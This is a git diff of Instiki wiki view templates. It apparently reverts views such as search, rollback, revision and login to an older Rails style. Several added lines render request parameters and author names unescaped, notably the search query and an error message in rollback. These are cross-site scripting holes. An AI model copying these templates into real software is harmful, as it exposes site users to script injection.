-    This web is password-protected. Please enter the password.
-    <% if @web.published? %>
-      If you don't have the password, you can view this wiki as a <%= link_to 'read-only version', :action => 'published', :id => 'HomePage' %>.
-    <% end %>
-    </p>
-    <p>
-    <label for="password"><b>Password:</b></label>
-    <input type="password" name="password" id="password" />
-    <input type="submit" value="Login" />
-    </p>
-<%- end -%>
+<p>
+<%= form_tag({ :controller => 'wiki', :action => 'authenticate', :web => @web.address},
+    { 'name' => 'loginForm', 'id' => 'loginForm', 'method' => 'post'})
+%>
+    <b>Password</b><br />
+    <input type="password" name="password" id="password" default="yes" />
+<%= end_form_tag %>
+</p>
 
-<script type="text/javascript">
-    document.forms["loginForm"].elements["password"].focus();
+<script language="JavaScript">
+  document.forms["loginForm"].elements["password"].focus();
 </script>
diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml
index 3f3cbb8f..d7202268 100644
--- a/app/views/wiki/new.rhtml
+++ b/app/views/wiki/new.rhtml
@@ -1,38 +1,31 @@
-<%- 
-  @title = "Creating #{WikiWords.separate(@page_name).escapeHTML}".html_safe
+<% 
+  @title = "Creating #{WikiWords.separate(@page_name)}"
   @content_width = 720
   @hide_navigation = true
--%>
+%>
 
-<div id="MarkupHelp">
-<%= render(:file => "#{@web.markup}_help") -%>
-<%= render(:file => 'wiki_words_help') unless @web.brackets_only? -%>
+<div id="MarkupHelp" style="float: right; width: 250px; margin-top: 5px">
+  <%= render("#{@web.markup}_help") %>
+  <%= render 'wiki_words_help' %>
 </div>
 
-<div id="editForm">
-	<% form_tag({ :action => 'save', :web => @web.address, :id => @page_name },
-	        { 'id' => 'editForm', 'method' => 'post', 'onsubmit' => 'cleanAuthorName();', 'accept-charset' => 'utf-8' }) do %>
-	
-	    <textarea name="content" id="content" rows="24" cols="60"><%= h(flash[:content] || 
-                     params['content'] ?  params['content'].purify : '' ) %></textarea>
-		<div id="editFormButtons">
-		    <input type="submit" value="Submit" accesskey="s"/> as 
-		    <%= text_field_tag :author, @author, 
-		        :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;",
-		        :onblur  => "this.value == '' ? this.value = 'AnonymousCoward' : true" %> 
-        </div>
-	<%- end -%>
-</div>
+<%= form_tag({ :action => 'save', :web => @web.address, :id => @page_name},
+             {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName();'})
+%>
 
-<script type="text/javascript">
+<p>
+    <textarea name="content" style="width: 450px; height: 500px"><%= h(@flash[:content] || '') %></textarea>
+</p>
+<p>
+    <input type="submit" value="Submit" accesskey="s"/> as 
+    <input type="text" name="author" id="authorName" value="<%= @author %>" onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
+</p>
+<%= end_form_tag %>
+
+<script language="JavaScript1.2">
 function cleanAuthorName() {
   if (document.getElementById('authorName').value == "") {
     document.getElementById('authorName').value = 'AnonymousCoward';
   }
 }
-document.forms["editForm"].elements["content"].focus();
-<%- if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup) -%>
-setupSVGedit('<%= compute_public_path("editor/svg-editor.html", "svg-edit").split(/\?/)[0] %>');
-addS5button('<%= @page_name.escapeHTML %>');
-<%- end -%>
 </script>
diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml
index b144deac..8e9bc474 100644
--- a/app/views/wiki/page.rhtml
+++ b/app/views/wiki/page.rhtml
@@ -1,54 +1,120 @@
-<%- 
-  @title = @page.plain_name
-  @title += ' (changes)' if @show_diff
+<% 
+  @title = @page.plain_name 
   @show_footer = true
--%>
+%>
 
 <div id="revision">
-  <%- if @show_diff -%>
-    <p class="show_diff">  
-        Showing changes from revision #<%= @page.rev_ids.size - 1 %> to #<%= @page.rev_ids.size %>:  
-        <ins class="diffins">Added</ins> | <del class="diffdel">Removed</del> | <del class="diffmod">Chan</del><ins class="diffmod">ged</ins>  
-    </p>
-    <%= @renderer.display_diff %>
-  <%- else -%>
-    <%= @renderer.display_content %>
-  <%- end -%>
+  <%= @page.display_content %>
 </div>
 
+
+<% if @page.revisions.length > 1 %>
+  <div id="changes" style="display: none">
+    <p style="background: #eee; padding: 3px; border: 1px solid silver">
+      <small>
+        Showing changes from revision #<%= @page.number - 1 %> to #<%= @page.number %>:
+        <ins class="diffins">Added</ins> | <del class="diffdel">Removed</del>
+      </small>
+    </p>
+
+    <%= @page.display_diff %>
+  </div>
+<% end %>
+
 <div class="byline">
-  <%= @page.revisions? ? "Revised" : "Created" %> on <%= format_date(@page.revised_at) %> 
-  by <%= author_link(@page) %>
+  <%= @page.revisions? ? "Revised" : "Created" %> on <%= @page.pretty_created_at %> 
+  by <%= @page.author_link %>
   <%= "(#{@page.author.ip})" if @page.author.respond_to?(:ip) %>
-  <% if @web.count_pages? %>
+  <% if @web.count_pages %>
     <% total_chars = @page.content.length %>
     (<%= total_chars %> characters / <%= sprintf("%-.1f", (total_chars / 2275 rescue 0)) %> pages)
   <% end %>
 </div>
 
-<div class="navigation navfoot">
+<div class="navigation">
+  <% if @page.name == "HomePage" %>
+    <%= link_to('Edit Page', 
+          {:web => @web.address, :action => 'edit', :id => @page.name}, 
+          {:class => 'navlink', :accesskey => 'E', :name => 'edit'})
+    %>
+    | 
+    <%= link_to('Edit Web', 
+            {:web => @web.address, :action => 'edit_web'}, 
+            {:class => 'navlink', :name => 'edit_web'})
+    %>
+  <% else %>
+    <%= link_to('Edit', 
+          {:web => @web.address, :action => 'edit', :id => @page.name}, 
+          {:class => 'navlink', :accesskey => 'E', :name => 'edit'})
+    %>
+  <% end %>
 
-  <%= raw navigation_menu_for_page.join(' | ') %>
-  
-  <span class="views">
+  <% if @page.revisions.length > 1 %>
+    | 
+    <%= link_to('Back in time', 
+          {:web => @web.address, :action => 'revision', :id => @page.name, 
+           :rev => @page.revisions.length - 2},
+          {:class => 'navlink', :accesskey => 'R', :name => 'to_previous_revision'})
+    %>
+    <small>(<%= @page.revisions.length - 1 %> revisions)</small>
+  <% end %>
+
+  <% if @page.revisions.length > 1 %>
+    <span id="show_changes">
+      | <a href="#" name="see_changes" onClick="toggleChanges(); return false;">See changes</a>
+    </span>
+    <span id="hide_changes" name="hide_changes" style="display: none">
+      | <a href="#" onClick="toggleChanges(); return false;">Hide changes</a>
+    </span>
+  <% end %>
+
+  <small>
     | Views: 
     <%= link_to('Print',
-            { :web => @web.address, :action => 'print', :id => @page.name },
-            { :accesskey => 'p', :id => 'view_print', :rel => 'nofollow' }) %>
-  <%- if @web.markup == :markdownMML or @web.markup == :markdown or @web.markup == :markdownPNG -%>
+          {:web => @web.address, :action => 'print', :id => @page.name},
+          {:accesskey => 'p', :name => 'view_print'}) %>
+  <% if defined? RedClothForTex and RedClothForTex.available? and @web.markup == :textile %>
     | 
     <%= link_to 'TeX', {:web => @web.address, :action => 'tex', :id => @page.name}, 
-            {:id => 'view_tex', :rel => 'nofollow' } %>
-   <% if WikiReference.pages_in_category(@web, 'S5-slideshow').map.include?(@page.name) %>
-    |
-    <%= link_to 'S5', {:web => @web.address, :action => 's5', :id => @page.name},
-            {:id => 'view_S5'} %>
-   <%- end -%>
-  <%- end -%>
-    |
-    <%= link_to 'Source', {:web => @web.address, :action => 'source', :id => @page.name}, 
-            {:id => 'view_source', :rel => 'nofollow' } %>
-  </span>
+            {:name => 'view_tex'} %>
+    | 
+    <%= link_to 'PDF', {:web => @web.address, :action => 'pdf', :id => @page.name},
+            {:name => 'view_pdf'} %>
+  <% end %>
+  </small>
 
-  <%= render :partial => 'inbound_links' %>
+  <% unless @page.linked_from.empty? %>
+    <small>
+      | Linked from: 
+      <%= @page.linked_from.collect { |referring_page| 
+            link_to_existing_page referring_page
+          }.join(", ")
+      %>
+    </small>
+  <% end %>
+
+  <% if @page.included_from.length > 0 %>
+    <small>
+      | Included from: <%= @page.included_from.collect { |referring_page|
+	 link_to_existing_page referring_page
+	}.join(", ") 
+	%>
+    </small>
+  <% end %>
 </div>
+
+<script language="Javascript" type="text/Javascript">
+  function toggleChanges() {
+    if (document.getElementById("changes").style.display == "none") {
+      document.getElementById("changes").style.display  = "block";
+      document.getElementById("revision").style.display = "none";
+      document.getElementById("show_changes").style.display  = "none";
+      document.getElementById("hide_changes").style.display = "inline";
+    } else {
+      document.getElementById("changes").style.display  = "none";
+      document.getElementById("revision").style.display = "block";
+      document.getElementById("show_changes").style.display  = "inline";
+      document.getElementById("hide_changes").style.display = "none";
+    }
+  }
+</script>
diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml
index 317a2d3f..aaee6a87 100644
--- a/app/views/wiki/print.rhtml
+++ b/app/views/wiki/print.rhtml
@@ -1,13 +1,14 @@
-<%- 
+<% 
   @title = @page.plain_name
   @hide_navigation = true
   @style_additions = ".newWikiWord { background-color: white; font-style: italic; }"
--%>
+  @inline_style = true
+%>
 
-<%= @renderer.display_content %>
+<%= @page.display_content_for_export %>
 
 <div class="byline">
-  <%= @page.revisions? ? "Revised" : "Created" %> on <%= format_date(@page.revised_at) %> 
+  <%= @page.revisions? ? "Revised" : "Created" %> on <%= @page.pretty_created_at %> 
   by
-  <%= author_link(@page, { :mode => (@link_mode || :show) }) %>
+  <%= @page.author_link({ :mode => (@link_mode || :show) }) %>
 </div>
diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml
index 957dd325..edd1a171 100644
--- a/app/views/wiki/published.rhtml
+++ b/app/views/wiki/published.rhtml
@@ -1,25 +1,9 @@
-<%-
+<%
   @title = @page.plain_name
   @hide_navigation = false
   @style_additions = ".newWikiWord { background-color: white; font-style: italic; }"
-  @inline_style = false
+  @inline_style = true
   @show_footer = true
--%>
+%>
 
-<%= @renderer.display_published %>
-
-<div class="byline">
-  <%= @page.revisions? ? "Revised" : "Created" %> on <%= format_date(@page.revised_at) %> 
-  by
-  <%= author_link(@page, { :mode => (@link_mode || :show) }) %>
-</div>
-
-<div class="navigation navfoot">
-<span class="views">
-<%- if WikiReference.pages_in_category(@web, 'S5-slideshow').map.include?(@page.name) -%>
-Views:
-    <%= link_to 'S5', {:web => @web.address, :action => 's5',
-	:id => @page.name}, {:id => 'view_S5'} %>
-<%- end -%>
-</span>
-</div>
+<%= @page.display_published %>
diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml
index a11e077a..a3196a59 100644
--- a/app/views/wiki/recently_revised.rhtml
+++ b/app/views/wiki/recently_revised.rhtml
@@ -1,25 +1,27 @@
-<%- @title = "Recently Revised" -%>
+<% @title = "Recently Revised" %>
 
 <%= categories_menu %>
 
-<%- @pages_by_day.keys.sort.reverse.each do |day| -%>
-  <h3><%= format_date(day, include_time = false) %></h3>
+<% unless @pages_by_revision.empty? %>
+  <% revision_date = @pages_by_revision.first.revised_on %>
+  <h3><%= revision_date.strftime('%B %e, %Y') %></h3>
   <ul>
-  <%- for page in @pages_by_day[day] -%>
+  <% for page in @pages_by_revision %>
+    <% if page.revised_on < revision_date %>
+      <% revision_date = page.revised_on %>
+      </ul>
+      <h3><%= revision_date.strftime('%B %e, %Y') %></h3>
+      <ul>
+    <% end %>
     <li>
       <%= link_to_existing_page page %>
-      <%- if page.rev_ids.size > 1 %>
-          <span class="views">
-          ( <%= link_to_revision(page, page.rev_ids.size, text='diff',
-               mode='diff') %> | <%= link_to_history(page, text='history') %> )
-          </span>
-      <%- end -%>
       <div class="byline" style="margin-bottom: 0px">
         by <%= link_to_page(page.author) %>
-        at <%= format_date(page.revised_at) %>
+        at <%= page.created_at.strftime "%H:%M" %>
         <%= "from #{page.author.ip}" if page.author.respond_to?(:ip) %>
       </div>
     </li>
-  <%- end -%>
+  <% end %>
   </ul>
-<%- end -%>
+<% end %>
+	
\ No newline at end of file
diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml
index abb0f184..16b5f4cc 100644
--- a/app/views/wiki/revision.rhtml
+++ b/app/views/wiki/revision.rhtml
@@ -1,31 +1,103 @@
-<%- 
-  @title = "#{@page.plain_name} (Rev ##{@revision_number}#{@show_diff ? ', changes' : ''})".html_safe
--%>
-
+<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %>
 
 <div id="revision">
-  <%- if @show_diff -%>
-    <p class="show_diff">  
-        Showing changes from revision #<%= @revision_number - 1 %> to #<%= @revision_number %>:  
-        <ins class="diffins">Added</ins> | <del class="diffdel">Removed</del> | <del class="diffmod">Chan</del><ins class="diffmod">ged</ins> 
-    </p>
-    <%= @renderer.display_diff %>
-  <%- else -%>
-    <%= @renderer.display_content %>
-  <%- end -%>
-</div> <!-- Revision -->
+  <%= @revision.display_content %>
+</div>
+
+<div id="changes" style="display: none">
+  <p style="background: #eee; padding: 3px; border: 1px solid silver">
+    <small>
+      Showing changes from revision #<%= @revision.number - 1 %> to #<%= @revision.number %>:
+      <ins class="diffins">Added</ins> | <del class="diffdel">Removed</del>
+    </small>
+  </p>
+
+  <%= @revision.display_diff %>
+</div>
+
 
 <div class="byline">
-  <%= "Revision from #{format_date(@revision.revised_at)} by" %>
-  <%= link_to_page @revision.author.purify %>
+  <%= "Revision from #{@revision.pretty_created_at} by" %>
+  <%= link_to_page @revision.author %>
 </div>
 
-<div class="navigation navfoot">
-  <%= raw navigation_menu_for_revision.join(' | ') %>
-    <span class="views">
-    | View: 
-    <%= link_to 'Source', {:web => @web.address, :action => 'source', :id => @page.name, :rev => @revision_number}, 
-            {:id => 'view_source', :rel => 'nofollow' } %>
-  </span>
-  <%= render :partial => 'inbound_links' %>
+<div class="navigation">
+
+  <% if @revision.next_revision %>
+    <% if @revision.next_revision.number < (@page.revisions.length - 1) %>
+      <%= link_to('Forward in time',
+              {:web => @web.address, :action => 'revision', :id => @page.name, 
+               :rev => @revision.next_revision.number},
+              {:class => 'navlink', :name => 'to_next_revision'})
+      %>
+    <% else %>
+      <%= link_to('Forward in time',
+              {:web => @web.address, :action => 'show', :id => @page.name},
+              {:class => 'navlink', :name => 'to_next_revision'})
+      %>
+    <% end %>
+    <small>(<%= @revision.page.revisions.length - @revision.next_revision.number %> more)</small>
+  <% end %>
+
+  <% if @revision.next_revision && @revision.previous_revision %>
+    |
+  <% end %>
+
+  <% if @revision.previous_revision %>
+    <%= link_to('Back in time',
+          {:web => @web.address, :action => 'revision', :id => @page.name, 
+           :rev => @revision.previous_revision.number},
+          {:class => 'navlink', :name => 'to_previous_revision'})
+    %>
+    <small>(<%= @revision.previous_revision.number + 1 %> more)</small>
+  <% end %>
+
+  | 
+  <%= link_to('See current', {:web => @web.address, :action => 'show', :id => @page.name},
+          {:class => 'navlink', :name => 'to_current_revision'})
+  %>
+
+  <% if @revision.previous_revision %>
+    <span id="show_changes">
+      | <a href="#" onClick="toggleChanges(); return false;">See changes</a>
+    </span>
+    <span id="hide_changes" style="display: none">
+      | <a href="#" onClick="toggleChanges(); return false;">Hide changes</a>
+    </span>
+  <% end %>
+
+  | 
+  
+  <%= link_to('Rollback', 
+        {:web => @web.address, :action => 'rollback', :id => @page.name, :rev => @revision.number},
+        {:class => 'navlink', :name => 'rollback'})
+  %>
+  
+  <% if @page.references.length > 0 %>
+    <small>
+      | Linked from: 
+      <%= @page.references.collect { |ref| 
+            link_to ref.name, :web => @web.address, :action => 'show', :id => ref.name 
+          }.join(", ") 
+      %>
+    </small>
+  <% else %>
+    Orphan page
+  <% end %>
 </div>
+
+<script language="Javascript">
+  function toggleChanges() {
+    if (document.getElementById("changes").style.display == "none") {
+      document.getElementById("changes").style.display  = "block";
+      document.getElementById("revision").style.display = "none";
+      document.getElementById("show_changes").style.display  = "none";
+      document.getElementById("hide_changes").style.display = "inline";
+    } else {
+      document.getElementById("changes").style.display  = "none";
+      document.getElementById("revision").style.display = "block";
+      document.getElementById("show_changes").style.display  = "inline";
+      document.getElementById("hide_changes").style.display = "none";
+    }
+  }
+</script>
diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml
index 0e400a0a..511656b9 100644
--- a/app/views/wiki/rollback.rhtml
+++ b/app/views/wiki/rollback.rhtml
@@ -1,34 +1,33 @@
-<%- 
-  @title = "Rollback to #{@page.plain_name} Rev ##{@revision_number}".html_safe
+<% 
+  @title = "Rollback to #{@page.plain_name} Rev ##{@revision.number}"
   @content_width = 720
   @hide_navigation = true
--%>
+%>
 
-<div id="MarkupHelp">
-<%= render(:file => "#{@web.markup}_help") -%>
-<%= render(:file => 'wiki_words_help') unless @web.brackets_only? -%>
-</div>
+<%= "<p style='color:red'>Please correct the error that caused this error in rendering:<br/><small>#{@params["msg"]}</small></p>" if @params["msg"] %>
 
-	<% form_tag({:web => @web.address, :action => 'save', :id => @page.name},
-	      { :id => 'editForm', :method => 'post', :onsubmit => 'cleanAuthorName();', 
-	        'accept-charset' => 'utf-8' }) do %>
-	<div>
-        <textarea name="content" id="content" rows="24" cols="60"><%= h(@revision.content.purify) %></textarea>
-		<div id="editFormButtons">
-	        <input type="submit" value="Update" accesskey="u" /> as 
-		    <input type="text" name="author" id="authorName" value="<%= h(@author.purify) %>" 
-		        onclick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
-		    | 
-			<span>
-				<%= link_to('Cancel', {:web => @web.address, :action => 'cancel_edit', :id => @page.name},
-				      {:accesskey => 'c'}) %> 
-                <span class="unlock">(unlocks page)</span>
-			</span>
-	    </div>
-	</div>
-	<%- end -%>
+<%= form_tag({:web => @web.address, :action => 'save', :id => @page.name},
+      {:id => 'editForm', :method => 'post', :onSubmit => 'cleanAuthorName();'})
+%>
+<p>
+  <textarea name="content" style="font-size: 12px; width: 450px; height: 500px"><%= @revision.content %></textarea>
+</p>
+<p>
+    <input type="submit" value="Update" accesskey="u" /> as 
+    <input type="text" name="author" id="authorName" value="<%= @author %>" 
+        onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
+    | 
+    <% link_to('Cancel', 
+         {:web => @web.address, :action => 'cancel_edit', :id => @page.name},
+         {:accesskey => 'c'})
+    %>
+    <small>(unlocks page)</small>
+</p>
+<%= end_form_tag %>
 
-<script type="text/javascript">
+<%= render("#{@web.markup}_help") if @web %>
+
+<script language="JavaScript1.2">
 function cleanAuthorName() {
   if (document.getElementById('authorName').value == "") {
     document.getElementById('authorName').value = 'AnonymousCoward';
diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml
new file mode 100644
index 00000000..a0267ff4
--- /dev/null
+++ b/app/views/wiki/rss_feed.rhtml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
+	<channel>
+		<title><%= @web.name %></title>
+		<link><%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => 'HomePage' %></link>
+		<description>An Instiki wiki</description>
+		<language>en-us</language>
+		<ttl>40</ttl>
+  <% for page in @pages_by_revision %>
+		<item>
+      <title><%= h page.plain_name %></title>
+    <% unless @hide_description %>
+      <description><%= h page.display_content %></description>
+    <% end %>
+      <pubDate><%= page.created_at.getgm.strftime "%a, %d %b %Y %H:%M:%S Z" %></pubDate>
+      <guid><%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %></guid>
+      <link><%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %></link>
+      <dc:creator><%= WikiWords.separate(page.author) %></dc:creator>
+    </item>
+  <% end %>
+  </channel>
+</rss>
diff --git a/app/views/wiki/s5.rhtml b/app/views/wiki/s5.rhtml
deleted file mode 100644
index f76953f9..00000000
--- a/app/views/wiki/s5.rhtml
+++ /dev/null
@@ -1,48 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN" "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd" >
-<html xmlns="http://www.w3.org/1999/xhtml">
-
-<head>
-<title><%=@page.plain_name%></title>
-<!-- metadata -->
-<meta name="generator" content="Instiki" />
-<meta name="version" content="<%= "#{Instiki::VERSION::STRING}" %>" />
-<meta name="author" content="<%=@page.author%>" />
-<meta name="company" content="" />
-<!-- configuration parameters -->
-<meta name="defaultView" content="slideshow" />
-<meta name="controlVis" content="hidden" />
-<!-- style sheet links -->
-<%= stylesheet_link_tag "/stylesheets/syntax.css", :media => 'all', :id => 'syntaxStyle' %>
-<%= stylesheet_link_tag "/s5/ui/core/outline.css", :media => 'screen', :id => 'outlineStyle' %>
-<%= stylesheet_link_tag "/s5/ui/core/print.css", :media => 'print', :id => 'slidePrint' %>
-<%= stylesheet_link_tag "/s5/ui/core/opera.css", :media => 'projection', :id =>  'operaFix' %>
-<%= stylesheet_link_tag "/s5/ui/core/math.css", :media => 'all', :id =>  'mathStyle' %>
-<%= stylesheet_link_tag "/s5/themes/#{@s5_theme}/slides.css", :media => 'projection', :id =>  'slideProj' %>
-
-<!-- S5 JS -->
-<%= javascript_include_tag 'prototype' %>
-<%- if @web.markup == :markdownMML -%>
-<script type="text/x-mathjax-config">
-  MathJax.Hub.Config({
-    MathML: { useMathMLspacing: true },
-    "HTML-CSS": { scale: 90 }
-  });
-  if (window._onload_fired_) MathJax.Hub.Startup.onload();
-</script>
-<script type="text/javascript">
-  if (!(Prototype.Browser.Gecko || navigator.userAgent.match(/MathPlayer/))) {
-    var s = document.createElement('script');
-    s.src = "<%= compute_public_path('MathJax.js', 'MathJax').split('?')[0] %>?config=MML_HTMLorMML";
-    document.querySelector('head').appendChild(s);        
-    window.addEventListener("load", function(){window._onload_fired_ = true} , false);        
-  };
-</script>
-<%- end -%>
-<%= javascript_include_tag "/s5/ui/core/slides.js" %>
-</head>
-<body>
-
-<%= @s5_content %>
-
-</body>
-</html>
diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml
index f145bbb0..2cab451d 100644
--- a/app/views/wiki/search.rhtml
+++ b/app/views/wiki/search.rhtml
@@ -1,41 +1,38 @@
-<%- @title = "Search results for \"#{h @query}\"".html_safe -%>
+<% @title = "Search results for \"#{@params["query"]}\"" %>
 
-<%- unless @title_results.empty? -%>
+<% unless @title_results.empty? %>
 <h2><%= @title_results.length %> page(s) containing search string in the page name:</h2>
   <ul>
-    <%- for page in @title_results -%>
+    <% for page in @title_results %>
       <li>
         <%= link_to page.plain_name, :web => @web.address, :action => 'show', :id => page.name %>
       </li>
-    <%- end -%>
+    <% end %>
   </ul>
-<%- end -%>
+<% end %>
 
 
-<%- unless @results.empty? -%>
+<% unless @results.empty? %>
   <h2> <%= @results.length %> page(s) containing search string in the page text:</h2>
   <ul>
-    <%- for page in @results -%>
+    <% for page in @results %>
       <li>
         <%= link_to page.plain_name, :web => @web.address, :action => 'show', :id => page.name %>
       </li>
-    <%- end -%>
+    <% end %>
   </ul>
-<%- end -%>
+<% end %>
 
-<%- if (@results + @title_results).empty? -%>
-  <h2>No pages contain "<%= h(@query).html_safe %>" </h2>
+<% if (@results + @title_results).empty? %>
+  <h2>No pages contain "<%= @params["query"] %>" </h2>
   <p>
     Perhaps you should try expanding your query. Remember that Instiki searches for entire 
     phrases, so if you search for "all that jazz" it will not match pages that contain these 
-    words in separation &#x2014; only as a sentence fragment.
+    words in separation&mdash;only as a sentence fragment.
   </p>
   <p>
     If you're a high-tech computer wizard, you might even want try constructing a Ruby regular 
     expression. That's actually what Instiki uses, so go right ahead and flex your 
     "[a-z]*Leet?RegExpSkill(s|z)"
   </p>
-  <p>
-    <b>Create a new page, named:</b> "<span class='newWikiWord'><%= link_to h(@query).html_safe, :web => @web.address, :action => 'new', :id => @query %></span>"
-  </p>
-<%- end -%>
+<% end %>
diff --git a/app/views/wiki/source.html.erb b/app/views/wiki/source.html.erb
deleted file mode 100644
index 0536ab1e..00000000
--- a/app/views/wiki/source.html.erb
+++ /dev/null
@@ -1,64 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN" "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd" >
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>
-    <%- if @page and (@page.name == 'HomePage') -%>
-      <%= h(@web.name) %>
-    <%- else @web -%>
-      <%= @page.plain_name %> in <%= h @web.name %>
-    <%- end -%>
-  </title>
-
-  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-  <meta name="robots" content="<%= @robots_metatag_value %>" />
-  
-  <style type="text/css">
-    h1#pageName, div.info, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, [actiontype="toggle"]:hover, #TextileHelp h3 { 
-      color: #<%= @web ? @web.color : "393" %>; 
-    }
-    <%= Rails.root.join('public', 'stylesheets', 'instiki.css').read if @inline_style %>
-  </style>
-  <%= stylesheet_link_tag 'instiki', :media => 'all'  unless @inline_style %>
-  <%= "<style type='text/css'>#{@style_additions}</style>".html_safe if @style_additions %>
-  <style type="text/css"><!--/*--><![CDATA[/*><!--*/    
-    <%= @web ? @web.additional_style : '' %>
-  /*]]>*/--></style>
-  <%= javascript_include_tag :defaults %>
-<script type="text/javascript">
-<!--//--><![CDATA[//><!--
-function updateSize(elt, w, h) {
-   // adjust to the size of the user's browser area.
-   // w and h are the original, unadjusted, width and height per row/column
-    var parentheight = document.viewport.getHeight();
-    var parentwidth = $('Container').getWidth();
-    elt.writeAttribute({'cols': Math.floor(parentwidth/w)  - 1,
-                        'rows': Math.floor(parentheight/h) - 2 });
-    elt.setStyle({Width: parentwidth, Height: parentheight});
-}
-
-function resizeableTextarea() {
-//make the textarea resize to fit available space
-  $$('textarea#content').each( function(textarea)  {
-    var w = textarea.getWidth()/textarea.getAttribute('cols');
-    var h = textarea.getStyle('lineHeight').replace(/(\d*)px/, "$1");
-    Event.observe(window, 'resize', function(){ updateSize(textarea, w, h) });
-    updateSize(textarea, w, h);
-    Form.Element.focus(textarea);
-  });
-}
-
-window.onload = function (){
-        resizeableTextarea();
-}
-//--><!]]>
-</script>
-</head>
-
-<body>
-
-<div id="Container">
-<textarea id='content'  readonly=' readonly' rows='24' cols='60' ><%= (@revision ? @revision.content : @page.content).purify %></textarea>
-</div> <!-- Container -->
-
-</body>
-</html>
\ No newline at end of file
diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml
index e5faa508..ea9a06c6 100644
--- a/app/views/wiki/tex.rhtml
+++ b/app/views/wiki/tex.rhtml
@@ -1,3 +1,23 @@
+\documentclass[12pt,titlepage]{article}
+
+\usepackage[danish]{babel}      %danske tekster
+\usepackage[OT1]{fontenc}       %rigtige danske bogstaver...
+\usepackage{a4}
+\usepackage{graphicx}
+\usepackage{ucs}
+\usepackage[utf8x]{inputenc}
+\input epsf 
+
+%-------------------------------------------------------------------
+
+\begin{document}
+
+\sloppy
+
+%-------------------------------------------------------------------
+
 \section*{<%= @page.name %>}
 
-<%= @tex_content.html_safe %>
\ No newline at end of file
+<%= @tex_content %>
+
+\end{document}
\ No newline at end of file
diff --git a/app/views/wiki/tex_list.html.erb b/app/views/wiki/tex_list.html.erb
deleted file mode 100644
index 9b3ac3f5..00000000
--- a/app/views/wiki/tex_list.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= @tex_content.html_safe %>
diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml
index 63cf8a95..45953c52 100644
--- a/app/views/wiki/tex_web.rhtml
+++ b/app/views/wiki/tex_web.rhtml
@@ -1,11 +1,19 @@
 \documentclass[12pt,titlepage]{article}
 
-\usepackage{amsmath}
-\usepackage{amsfonts}
+\usepackage{fancyhdr}
+\pagestyle{fancy}
+
+\fancyhead[LE,RO]{}
+\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}}
+\fancyfoot[C]{\thepage}
+
+\usepackage[danish]{babel}      %danske tekster
+\usepackage{a4}
 \usepackage{graphicx}
 \usepackage{ucs}
-\usepackage[utf8x]{inputenc}
-\usepackage{hyperref}
+\usepackage[utf8]{inputenc}
+\input epsf 
+
 
 %-------------------------------------------------------------------
 
@@ -18,8 +26,10 @@
 \tableofcontents
 \pagebreak
 
+\sloppy
+
 %-------------------------------------------------------------------
 
 <%= @tex_content %>
 
-\end{document}
+\end{document}
\ No newline at end of file
diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml
index df808bae..595ba090 100644
--- a/app/views/wiki/web_list.rhtml
+++ b/app/views/wiki/web_list.rhtml
@@ -1,28 +1,18 @@
-<%- @title = "Wiki webs" -%>
+<% @title = "Wiki webs" %>
 
 <ul>
-<%- @webs.each do |web| -%>
-  
-<li>
- <%- if web.password -%>
-  <div class="web_protected">
- <%- else -%>
-  <div class="web_normal">
- <%- end -%>
-    <%= link_to(web.name, {:web => web.address, :action => 'show', :id => 'HomePage'}) %>
-    <%- if web.published? -%>
-        (<%= link_to_page 'HomePage', web, 'published version', :mode => 'publish' %>)
-    <%- end -%>
-
+<% @webs.each do |web| %>
+  <li>
+    <% if web.published %>
+      <%= link_to_page 'HomePage', web, web.name, :mode => 'publish' %>
+      (read-only) /
+      <%= link_to_page 'HomePage', web, 'editable version', :mode => 'show' %> (requires login)
+    <% else %>
+      <%= link_to_page 'HomePage', web, web.name, :mode => 'show' %>
+    <% end %>
     <div class="byline" style="margin-bottom: 0px">
-	<%= web.pages.size %> page<% if web.pages.size != 1 %>s<% end %> by <%= web.authors.size %> author<% if web.authors.size != 1 %>s<% end %>
-	- Last Update: <%= web.last_page.nil? ? format_date(web.created_at) : format_date(web.last_page.revised_at) %><br/>
-	<%- if ! web.last_page.nil? -%> 
-        Last Document: <%= link_to_page(web.last_page.name,web) %> 
-        <%= web.last_page.revisions? ? "Revised" : "Created" %> by <%= author_link(web.last_page) %> (<%= web.last_page.current_revision.ip %>)
-	<%- end -%>
+      <%= web.pages.length %> pages by <%= web.authors.length %> authors
